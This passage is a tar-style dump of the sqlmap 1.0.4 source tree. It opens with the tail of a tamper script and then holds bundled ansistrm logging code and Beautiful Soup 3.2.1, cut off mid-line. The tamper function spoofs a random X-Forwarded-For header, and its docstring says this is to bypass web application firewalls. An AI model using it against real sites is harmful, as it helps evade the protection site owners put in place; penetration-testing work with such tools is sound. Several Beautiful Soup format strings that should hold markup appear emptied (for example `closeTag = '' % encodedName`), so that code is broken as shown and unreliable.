sample(xrange(1, 255), 4) return '.'.join(str(_) for _ in numbers) def tamper(payload, **kwargs): """ Append a fake HTTP header 'X-Forwarded-For' to bypass WAF (usually application based) protection """ headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = randomIP() return payload sqlmap-1.0.4/thirdparty/000077500000000000000000000000001270044205500152025ustar00rootroot00000000000000sqlmap-1.0.4/thirdparty/__init__.py000066400000000000000000000000001270044205500173010ustar00rootroot00000000000000sqlmap-1.0.4/thirdparty/ansistrm/000077500000000000000000000000001270044205500170425ustar00rootroot00000000000000sqlmap-1.0.4/thirdparty/ansistrm/__init__.py000066400000000000000000000000001270044205500211410ustar00rootroot00000000000000sqlmap-1.0.4/thirdparty/ansistrm/ansistrm.py000066400000000000000000000115731270044205500212630ustar00rootroot00000000000000# # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. # import logging import os import re import subprocess import sys from lib.core.convert import stdoutencode if subprocess.mswindows: import ctypes import ctypes.wintypes # Reference: https://gist.github.com/vsajip/758430 # https://github.com/ipython/ipython/issues/4252 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms686047%28v=vs.85%29.aspx ctypes.windll.kernel32.SetConsoleTextAttribute.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.WORD] ctypes.windll.kernel32.SetConsoleTextAttribute.restype = ctypes.wintypes.BOOL class ColorizingStreamHandler(logging.StreamHandler): # color names to indices color_map = { 'black': 0, 'red': 1, 'green': 2, 'yellow': 3, 'blue': 4, 'magenta': 5, 'cyan': 6, 'white': 7, } # levels to (background, foreground, bold/intense) level_map = { logging.DEBUG: (None, 'blue', False), logging.INFO: (None, 'green', False), logging.WARNING: (None, 'yellow', False), logging.ERROR: (None, 'red', False), logging.CRITICAL: ('red', 'white', False) } csi = '\x1b[' reset = '\x1b[0m' disable_coloring = False @property def is_tty(self): isatty = getattr(self.stream, 'isatty', None) return isatty and isatty() and not self.disable_coloring def emit(self, record): try: message = stdoutencode(self.format(record)) stream = self.stream if not self.is_tty: if message and message[0] == "\r": message = message[1:] stream.write(message) else: self.output_colorized(message) stream.write(getattr(self, 'terminator', '\n')) self.flush() except (KeyboardInterrupt, SystemExit): raise except IOError: pass except: self.handleError(record) if not subprocess.mswindows: def output_colorized(self, message): self.stream.write(message) else: ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') nt_color_map = { 0: 0x00, # black 1: 0x04, # red 2: 0x02, # green 3: 0x06, # yellow 4: 0x01, # blue 5: 0x05, # magenta 6: 0x03, # cyan 7: 0x07, # white } def output_colorized(self, message): parts = self.ansi_esc.split(message) write = self.stream.write h = None fd = getattr(self.stream, 'fileno', None) if fd is not None: fd = fd() if fd in (1, 2): # stdout or stderr h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) while parts: text = parts.pop(0) if text: write(text) if parts: params = parts.pop(0) if h is not None: params = [int(p) for p in params.split(';')] color = 0 for p in params: if 40 <= p <= 47: color |= self.nt_color_map[p - 40] << 4 elif 30 <= p <= 37: color |= self.nt_color_map[p - 30] elif p == 1: color |= 0x08 # foreground intensity on elif p == 0: # reset to default color color = 0x07 else: pass # error condition ignored ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) def colorize(self, message, record): if record.levelno in self.level_map and self.is_tty: bg, fg, bold = self.level_map[record.levelno] params = [] if bg in self.color_map: params.append(str(self.color_map[bg] + 40)) if fg in self.color_map: params.append(str(self.color_map[fg] + 30)) if bold: params.append('1') if params and message: if message.lstrip() != message: prefix = re.search(r"\s+", message).group(0) message = message[len(prefix):] else: prefix = "" message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), 'm', message, self.reset))) return message def format(self, record): message = logging.StreamHandler.format(self, record) return self.colorize(message, record) sqlmap-1.0.4/thirdparty/beautifulsoup/000077500000000000000000000000001270044205500200715ustar00rootroot00000000000000sqlmap-1.0.4/thirdparty/beautifulsoup/__init__.py000066400000000000000000000032101270044205500221760ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c) 2004-2010, Leonard Richardson # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided # with the distribution. # # * Neither the name of the the Beautiful Soup Consortium and All # Night Kosher Bakery nor the names of its contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. # pass sqlmap-1.0.4/thirdparty/beautifulsoup/beautifulsoup.py000066400000000000000000002333261270044205500233430ustar00rootroot00000000000000"""Beautiful Soup Elixir and Tonic "The Screen-Scraper's Friend" http://www.crummy.com/software/BeautifulSoup/ Beautiful Soup parses a (possibly invalid) XML or HTML document into a tree representation. It provides methods and Pythonic idioms that make it easy to navigate, search, and modify the tree. A well-formed XML/HTML document yields a well-formed data structure. An ill-formed XML/HTML document yields a correspondingly ill-formed data structure. If your document is only locally well-formed, you can use this library to find and process the well-formed part of it. Beautiful Soup works with Python 2.2 and up. It has no external dependencies, but you'll have more success at converting data to UTF-8 if you also install these three packages: * chardet, for auto-detecting character encodings http://chardet.feedparser.org/ * cjkcodecs and iconv_codec, which add more encodings to the ones supported by stock Python. http://cjkpython.i18n.org/ Beautiful Soup defines classes for two main parsing strategies: * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific language that kind of looks like XML. * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid or invalid. This class has web browser-like heuristics for obtaining a sensible parse tree in the face of common HTML errors. Beautiful Soup also defines a class (UnicodeDammit) for autodetecting the encoding of an HTML or XML document, and converting it to Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser. For more than you ever wanted to know about Beautiful Soup, see the documentation: http://www.crummy.com/software/BeautifulSoup/documentation.html Here, have some legalese: Copyright (c) 2004-2010, Leonard Richardson All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. """ from __future__ import generators __author__ = "Leonard Richardson (leonardr@segfault.org)" __version__ = "3.2.1" __copyright__ = "Copyright (c) 2004-2012 Leonard Richardson" __license__ = "New-style BSD" from sgmllib import SGMLParser, SGMLParseError import codecs import markupbase import types import re import sgmllib try: from htmlentitydefs import name2codepoint except ImportError: name2codepoint = {} try: set except NameError: from sets import Set as set #These hacks make Beautiful Soup able to parse XML with namespaces sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match DEFAULT_OUTPUT_ENCODING = "utf-8" def _match_css_class(str): """Build a RE to match the given CSS class.""" return re.compile(r"(^|.*\s)%s($|\s)" % str) # First, the classes that represent markup elements. class PageElement(object): """Contains the navigational information for some part of the page (either a tag or a piece of text)""" def _invert(h): "Cheap function to invert a hash." i = {} for k,v in h.items(): i[v] = k return i XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'", "quot" : '"', "amp" : "&", "lt" : "<", "gt" : ">" } XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS) def setup(self, parent=None, previous=None): """Sets up the initial relations between this element and other elements.""" self.parent = parent self.previous = previous self.next = None self.previousSibling = None self.nextSibling = None if self.parent and self.parent.contents: self.previousSibling = self.parent.contents[-1] self.previousSibling.nextSibling = self def replaceWith(self, replaceWith): oldParent = self.parent myIndex = self.parent.index(self) if hasattr(replaceWith, "parent")\ and replaceWith.parent is self.parent: # We're replacing this element with one of its siblings. index = replaceWith.parent.index(replaceWith) if index and index < myIndex: # Furthermore, it comes before this element. That # means that when we extract it, the index of this # element will change. myIndex = myIndex - 1 self.extract() oldParent.insert(myIndex, replaceWith) def replaceWithChildren(self): myParent = self.parent myIndex = self.parent.index(self) self.extract() reversedChildren = list(self.contents) reversedChildren.reverse() for child in reversedChildren: myParent.insert(myIndex, child) def extract(self): """Destructively rips this element out of the tree.""" if self.parent: try: del self.parent.contents[self.parent.index(self)] except ValueError: pass #Find the two elements that would be next to each other if #this element (and any children) hadn't been parsed. Connect #the two. lastChild = self._lastRecursiveChild() nextElement = lastChild.next if self.previous: self.previous.next = nextElement if nextElement: nextElement.previous = self.previous self.previous = None lastChild.next = None self.parent = None if self.previousSibling: self.previousSibling.nextSibling = self.nextSibling if self.nextSibling: self.nextSibling.previousSibling = self.previousSibling self.previousSibling = self.nextSibling = None return self def _lastRecursiveChild(self): "Finds the last element beneath this object to be parsed." lastChild = self while hasattr(lastChild, 'contents') and lastChild.contents: lastChild = lastChild.contents[-1] return lastChild def insert(self, position, newChild): if isinstance(newChild, basestring) \ and not isinstance(newChild, NavigableString): newChild = NavigableString(newChild) position = min(position, len(self.contents)) if hasattr(newChild, 'parent') and newChild.parent is not None: # We're 'inserting' an element that's already one # of this object's children. if newChild.parent is self: index = self.index(newChild) if index > position: # Furthermore we're moving it further down the # list of this object's children. That means that # when we extract this element, our target index # will jump down one. position = position - 1 newChild.extract() newChild.parent = self previousChild = None if position == 0: newChild.previousSibling = None newChild.previous = self else: previousChild = self.contents[position-1] newChild.previousSibling = previousChild newChild.previousSibling.nextSibling = newChild newChild.previous = previousChild._lastRecursiveChild() if newChild.previous: newChild.previous.next = newChild newChildsLastElement = newChild._lastRecursiveChild() if position >= len(self.contents): newChild.nextSibling = None parent = self parentsNextSibling = None while not parentsNextSibling: parentsNextSibling = parent.nextSibling parent = parent.parent if not parent: # This is the last element in the document. break if parentsNextSibling: newChildsLastElement.next = parentsNextSibling else: newChildsLastElement.next = None else: nextChild = self.contents[position] newChild.nextSibling = nextChild if newChild.nextSibling: newChild.nextSibling.previousSibling = newChild newChildsLastElement.next = nextChild if newChildsLastElement.next: newChildsLastElement.next.previous = newChildsLastElement self.contents.insert(position, newChild) def append(self, tag): """Appends the given tag to the contents of this tag.""" self.insert(len(self.contents), tag) def findNext(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findAllNext, name, attrs, text, **kwargs) def findAllNext(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextGenerator, **kwargs) def findNextSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findNextSiblings, name, attrs, text, **kwargs) def findNextSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextSiblingGenerator, **kwargs) fetchNextSiblings = findNextSiblings # Compatibility with pre-3.x def findPrevious(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs) def findAllPrevious(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousGenerator, **kwargs) fetchPrevious = findAllPrevious # Compatibility with pre-3.x def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findPreviousSiblings, name, attrs, text, **kwargs) def findPreviousSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousSiblingGenerator, **kwargs) fetchPreviousSiblings = findPreviousSiblings # Compatibility with pre-3.x def findParent(self, name=None, attrs={}, **kwargs): """Returns the closest parent of this Tag that matches the given criteria.""" # NOTE: We can't use _findOne because findParents takes a different # set of arguments. r = None l = self.findParents(name, attrs, 1) if l: r = l[0] return r def findParents(self, name=None, attrs={}, limit=None, **kwargs): """Returns the parents of this Tag that match the given criteria.""" return self._findAll(name, attrs, None, limit, self.parentGenerator, **kwargs) fetchParents = findParents # Compatibility with pre-3.x #These methods do the real heavy lifting. def _findOne(self, method, name, attrs, text, **kwargs): r = None l = method(name, attrs, text, 1, **kwargs) if l: r = l[0] return r def _findAll(self, name, attrs, text, limit, generator, **kwargs): "Iterates over a generator looking for things that match." if isinstance(name, SoupStrainer): strainer = name # (Possibly) special case some findAll*(...) searches elif text is None and not limit and not attrs and not kwargs: # findAll*(True) if name is True: return [element for element in generator() if isinstance(element, Tag)] # findAll*('tag-name') elif isinstance(name, basestring): return [element for element in generator() if isinstance(element, Tag) and element.name == name] else: strainer = SoupStrainer(name, attrs, text, **kwargs) # Build a SoupStrainer else: strainer = SoupStrainer(name, attrs, text, **kwargs) results = ResultSet(strainer) g = generator() while True: try: i = g.next() except StopIteration: break if i: found = strainer.search(i) if found: results.append(found) if limit and len(results) >= limit: break return results #These Generators can be used to navigate starting from both #NavigableStrings and Tags. def nextGenerator(self): i = self while i is not None: i = i.next yield i def nextSiblingGenerator(self): i = self while i is not None: i = i.nextSibling yield i def previousGenerator(self): i = self while i is not None: i = i.previous yield i def previousSiblingGenerator(self): i = self while i is not None: i = i.previousSibling yield i def parentGenerator(self): i = self while i is not None: i = i.parent yield i # Utility methods def substituteEncoding(self, str, encoding=None): encoding = encoding or "utf-8" return str.replace("%SOUP-ENCODING%", encoding) def toEncoding(self, s, encoding=None): """Encodes an object to a string in some encoding, or to Unicode. .""" if isinstance(s, unicode): if encoding: s = s.encode(encoding) elif isinstance(s, str): if encoding: s = s.encode(encoding) else: s = unicode(s) else: if encoding: s = self.toEncoding(str(s), encoding) else: s = unicode(s) return s BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|" + "&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;)" + ")") def _sub_entity(self, x): """Used with a regular expression to substitute the appropriate XML entity for an XML special character.""" return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" class NavigableString(unicode, PageElement): def __new__(cls, value): """Create a new NavigableString. When unpickling a NavigableString, this method is called with the string in DEFAULT_OUTPUT_ENCODING. That encoding needs to be passed in to the superclass's __new__ or the superclass won't know how to handle non-ASCII characters. """ if isinstance(value, unicode): return unicode.__new__(cls, value) return unicode.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) def __getnewargs__(self): return (NavigableString.__str__(self),) def __getattr__(self, attr): """text.string gives you text. This is for backwards compatibility for Navigable*String, but for CData* it lets you get the string without the CData wrapper.""" if attr == 'string': return self else: raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__.__name__, attr) def __unicode__(self): return str(self).decode(DEFAULT_OUTPUT_ENCODING) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): # Substitute outgoing XML entities. data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self) if encoding: return data.encode(encoding) else: return data class CData(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "" % NavigableString.__str__(self, encoding) class ProcessingInstruction(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): output = self if "%SOUP-ENCODING%" in output: output = self.substituteEncoding(output, encoding) return "" % self.toEncoding(output, encoding) class Comment(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "" % NavigableString.__str__(self, encoding) class Declaration(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "" % NavigableString.__str__(self, encoding) class Tag(PageElement): """Represents a found HTML tag with its attributes and contents.""" def _convertEntities(self, match): """Used in a call to re.sub to replace HTML, XML, and numeric entities with the appropriate Unicode characters. If HTML entities are being converted, any unrecognized entities are escaped.""" x = match.group(1) if self.convertHTMLEntities and x in name2codepoint: return unichr(name2codepoint[x]) elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: if self.convertXMLEntities: return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] else: return u'&%s;' % x elif len(x) > 0 and x[0] == '#': # Handle numeric entities if len(x) > 1 and x[1] == 'x': return unichr(int(x[2:], 16)) else: return unichr(int(x[1:])) elif self.escapeUnrecognizedEntities: return u'&%s;' % x else: return u'&%s;' % x def __init__(self, parser, name, attrs=None, parent=None, previous=None): "Basic constructor." # We don't actually store the parser object: that lets extracted # chunks be garbage-collected self.parserClass = parser.__class__ self.isSelfClosing = parser.isSelfClosingTag(name) self.name = name if attrs is None: attrs = [] elif isinstance(attrs, dict): attrs = attrs.items() self.attrs = attrs self.contents = [] self.setup(parent, previous) self.hidden = False self.containsSubstitutions = False self.convertHTMLEntities = parser.convertHTMLEntities self.convertXMLEntities = parser.convertXMLEntities self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. convert = lambda(k, val): (k, re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", self._convertEntities, val)) self.attrs = map(convert, self.attrs) def getString(self): if (len(self.contents) == 1 and isinstance(self.contents[0], NavigableString)): return self.contents[0] def setString(self, string): """Replace the contents of the tag with a string""" self.clear() self.append(string) string = property(getString, setString) def getText(self, separator=u""): if not len(self.contents): return u"" stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] while current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next return separator.join(strings) text = property(getText) def get(self, key, default=None): """Returns the value of the 'key' attribute for the tag, or the value given for 'default' if it doesn't have that attribute.""" return self._getAttrMap().get(key, default) def clear(self): """Extract all children.""" for child in self.contents[:]: child.extract() def index(self, element): for i, child in enumerate(self.contents): if child is element: return i raise ValueError("Tag.index: element not in tag") def has_key(self, key): return self._getAttrMap().has_key(key) def __getitem__(self, key): """tag[key] returns the value of the 'key' attribute for the tag, and throws an exception if it's not there.""" return self._getAttrMap()[key] def __iter__(self): "Iterating over a tag iterates over its contents." return iter(self.contents) def __len__(self): "The length of a tag is the length of its list of contents." return len(self.contents) def __contains__(self, x): return x in self.contents def __nonzero__(self): "A tag is non-None even if it has no contents." return True def __setitem__(self, key, value): """Setting tag[key] sets the value of the 'key' attribute for the tag.""" self._getAttrMap() self.attrMap[key] = value found = False for i in xrange(0, len(self.attrs)): if self.attrs[i][0] == key: self.attrs[i] = (key, value) found = True if not found: self.attrs.append((key, value)) self._getAttrMap()[key] = value def __delitem__(self, key): "Deleting tag[key] deletes all 'key' attributes for the tag." for item in self.attrs: if item[0] == key: self.attrs.remove(item) #We don't break because bad HTML can define the same #attribute multiple times. self._getAttrMap() if self.attrMap.has_key(key): del self.attrMap[key] def __call__(self, *args, **kwargs): """Calling a tag like a function is the same as calling its findAll() method. Eg. tag('a') returns a list of all the A tags found within this tag.""" return apply(self.findAll, args, kwargs) def __getattr__(self, tag): #print "Getattr %s.%s" % (self.__class__, tag) if len(tag) > 3 and tag.rfind('Tag') == len(tag)-3: return self.find(tag[:-3]) elif tag.find('__') != 0: return self.find(tag) raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__, tag) def __eq__(self, other): """Returns true iff this tag has the same name, the same attributes, and the same contents (recursively) as the given tag. NOTE: right now this will return false if two tags have the same attributes in a different order. Should this be fixed?""" if other is self: return True if not hasattr(other, 'name') or not hasattr(other, 'attrs') or not hasattr(other, 'contents') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other): return False for i in xrange(0, len(self.contents)): if self.contents[i] != other.contents[i]: return False return True def __ne__(self, other): """Returns true iff this tag is not identical to the other tag, as defined in __eq__.""" return not self == other def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING): """Renders this tag as a string.""" return self.__str__(encoding) def __unicode__(self): return self.__str__(None) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Returns a string or Unicode representation of this tag and its contents. To get Unicode, pass None for encoding. NOTE: since Python's HTML parser consumes whitespace, this method is not certain to reproduce the whitespace present in the original string.""" encodedName = self.toEncoding(self.name, encoding) attrs = [] if self.attrs: for key, val in self.attrs: fmt = '%s="%s"' if isinstance(val, basestring): if self.containsSubstitutions and '%SOUP-ENCODING%' in val: val = self.substituteEncoding(val, encoding) # The attribute value either: # # * Contains no embedded double quotes or single quotes. # No problem: we enclose it in double quotes. # * Contains embedded single quotes. No problem: # double quotes work here too. # * Contains embedded double quotes. No problem: # we enclose it in single quotes. # * Embeds both single _and_ double quotes. This # can't happen naturally, but it can happen if # you modify an attribute value after parsing # the document. Now we have a bit of a # problem. We solve it by enclosing the # attribute in single quotes, and escaping any # embedded single quotes to XML entities. if '"' in val: fmt = "%s='%s'" if "'" in val: # TODO: replace with apos when # appropriate. val = val.replace("'", "&squot;") # Now we're okay w/r/t quotes. But the attribute # value might also contain angle brackets, or # ampersands that aren't part of entities. We need # to escape those to XML entities too. val = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, val) attrs.append(fmt % (self.toEncoding(key, encoding), self.toEncoding(val, encoding))) close = '' closeTag = '' if self.isSelfClosing: close = ' /' else: closeTag = '' % encodedName indentTag, indentContents = 0, 0 if prettyPrint: indentTag = indentLevel space = (' ' * (indentTag-1)) indentContents = indentTag + 1 contents = self.renderContents(encoding, prettyPrint, indentContents) if self.hidden: s = contents else: s = [] attributeString = '' if attrs: attributeString = ' ' + ' '.join(attrs) if prettyPrint: s.append(space) s.append('<%s%s%s>' % (encodedName, attributeString, close)) if prettyPrint: s.append("\n") s.append(contents) if prettyPrint and contents and contents[-1] != "\n": s.append("\n") if prettyPrint and closeTag: s.append(space) s.append(closeTag) if prettyPrint and closeTag and self.nextSibling: s.append("\n") s = ''.join(s) return s def decompose(self): """Recursively destroys the contents of this tree.""" self.extract() if len(self.contents) == 0: return current = self.contents[0] while current is not None: next = current.next if isinstance(current, Tag): del current.contents[:] current.parent = None current.previous = None current.previousSibling = None current.next = None current.nextSibling = None current = next def prettify(self, encoding=DEFAULT_OUTPUT_ENCODING): return self.__str__(encoding, True) def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Renders the contents of this tag as a string in the given encoding. If encoding is None, returns a Unicode string..""" s=[] for c in self: text = None if isinstance(c, NavigableString): text = c.__str__(encoding) elif isinstance(c, Tag): s.append(c.__str__(encoding, prettyPrint, indentLevel)) if text and prettyPrint: text = text.strip() if text: if prettyPrint: s.append(" " * (indentLevel-1)) s.append(text) if prettyPrint: s.append("\n") return ''.join(s) #Soup methods def find(self, name=None, attrs={}, recursive=True, text=None, **kwargs): """Return only the first child of this Tag matching the given criteria.""" r = None l = self.findAll(name, attrs, recursive, text, 1, **kwargs) if l: r = l[0] return r findChild = find def findAll(self, name=None, attrs={}, recursive=True, text=None, limit=None, **kwargs): """Extracts a list of Tag objects that match the given criteria. You can specify the name of the Tag and any attributes you want the Tag to have. The value of a key-value pair in the 'attrs' map can be a string, a list of strings, a regular expression object, or a callable that takes a string and returns whether or not the string matches for some custom definition of 'matches'. The same is true of the tag name.""" generator = self.recursiveChildGenerator if not recursive: generator = self.childGenerator return self._findAll(name, attrs, text, limit, generator, **kwargs) findChildren = findAll # Pre-3.x compatibility methods first = find fetch = findAll def fetchText(self, text=None, recursive=True, limit=None): return self.findAll(text=text, recursive=recursive, limit=limit) def firstText(self, text=None, recursive=True): return self.find(text=text, recursive=recursive) #Private methods def _getAttrMap(self): """Initializes a map representation of this tag's attributes, if not already initialized.""" if not getattr(self, 'attrMap'): self.attrMap = {} for (key, value) in self.attrs: self.attrMap[key] = value return self.attrMap #Generator methods def childGenerator(self): # Just use the iterator from the contents return iter(self.contents) def recursiveChildGenerator(self): if not len(self.contents): raise StopIteration stopNode = self._lastRecursiveChild().next current = self.contents[0] while current is not stopNode: yield current current = current.next # Next, a couple classes to represent queries and their results. class SoupStrainer: """Encapsulates a number of ways of matching a markup element (tag or text).""" def __init__(self, name=None, attrs={}, text=None, **kwargs): self.name = name if isinstance(attrs, basestring): kwargs['class'] = _match_css_class(attrs) attrs = None if kwargs: if attrs: attrs = attrs.copy() attrs.update(kwargs) else: attrs = kwargs self.attrs = attrs self.text = text def __str__(self): if self.text: return self.text else: return "%s|%s" % (self.name, self.attrs) def searchTag(self, markupName=None, markupAttrs={}): found = None markup = None if isinstance(markupName, Tag): markup = markupName markupAttrs = markup callFunctionWithTagData = callable(self.name) \ and not isinstance(markupName, Tag) if (not self.name) \ or callFunctionWithTagData \ or (markup and self._matches(markup, self.name)) \ or (not markup and self._matches(markupName, self.name)): if callFunctionWithTagData: match = self.name(markupName, markupAttrs) else: match = True markupAttrMap = None for attr, matchAgainst in self.attrs.items(): if not markupAttrMap: if hasattr(markupAttrs, 'get'): markupAttrMap = markupAttrs else: markupAttrMap = {} for k,v in markupAttrs: markupAttrMap[k] = v attrValue = markupAttrMap.get(attr) if not self._matches(attrValue, matchAgainst): match = False break if match: if markup: found = markup else: found = markupName return found def search(self, markup): #print 'looking for %s in %s' % (self, markup) found = None # If given a list of items, scan it for a text element that # matches. if hasattr(markup, "__iter__") \ and not isinstance(markup, Tag): for element in markup: if isinstance(element, NavigableString) \ and self.search(element): found = element break # If it's a Tag, make sure its name or attributes match. # Don't bother with Tags if we're searching for text. elif isinstance(markup, Tag): if not self.text: found = self.searchTag(markup) # If it's text, make sure the text matches. elif isinstance(markup, NavigableString) or \ isinstance(markup, basestring): if self._matches(markup, self.text): found = markup else: raise Exception, "I don't know how to match against a %s" \ % markup.__class__ return found def _matches(self, markup, matchAgainst): #print "Matching %s against %s" % (markup, matchAgainst) result = False if matchAgainst is True: result = markup is not None elif callable(matchAgainst): result = matchAgainst(markup) else: #Custom match methods take the tag as an argument, but all #other ways of matching match the tag name as a string. if isinstance(markup, Tag): markup = markup.name if markup and not isinstance(markup, basestring): markup = unicode(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. result = markup and matchAgainst.search(markup) elif hasattr(matchAgainst, '__iter__'): # list-like result = markup in matchAgainst elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isinstance(markup, basestring): if isinstance(markup, unicode): matchAgainst = unicode(matchAgainst) else: matchAgainst = str(matchAgainst) if not result: result = matchAgainst == markup return result class ResultSet(list): """A ResultSet is just a list that keeps track of the SoupStrainer that created it.""" def __init__(self, source): list.__init__([]) self.source = source # Now, some helper functions. def buildTagMap(default, *args): """Turns a list of maps, lists, or scalars into a single map. Used to build the SELF_CLOSING_TAGS, NESTABLE_TAGS, and NESTING_RESET_TAGS maps out of lists and partial maps.""" built = {} for portion in args: if hasattr(portion, 'items'): #It's a map. Merge it. for k,v in portion.items(): built[k] = v elif hasattr(portion, '__iter__'): # is a list #It's a list. Map each item to the default. for k in portion: built[k] = default else: #It's a scalar. Map it to the default. built[portion] = default return built # Now, the parser classes. class BeautifulStoneSoup(Tag, SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the following: You can't close a tag without closing all the tags it encloses. That is, "" actually means "". [Another possible explanation is "", but since this class defines no SELF_CLOSING_TAGS, it will never use that explanation.] This class is useful for parsing XML or made-up markup languages, or when BeautifulSoup makes an assumption counter to what you were expecting.""" SELF_CLOSING_TAGS = {} NESTABLE_TAGS = {} RESET_NESTING_TAGS = {} QUOTE_TAGS = {} PRESERVE_WHITESPACE_TAGS = [] MARKUP_MASSAGE = [(re.compile('(<[^<>]*)/>'), lambda 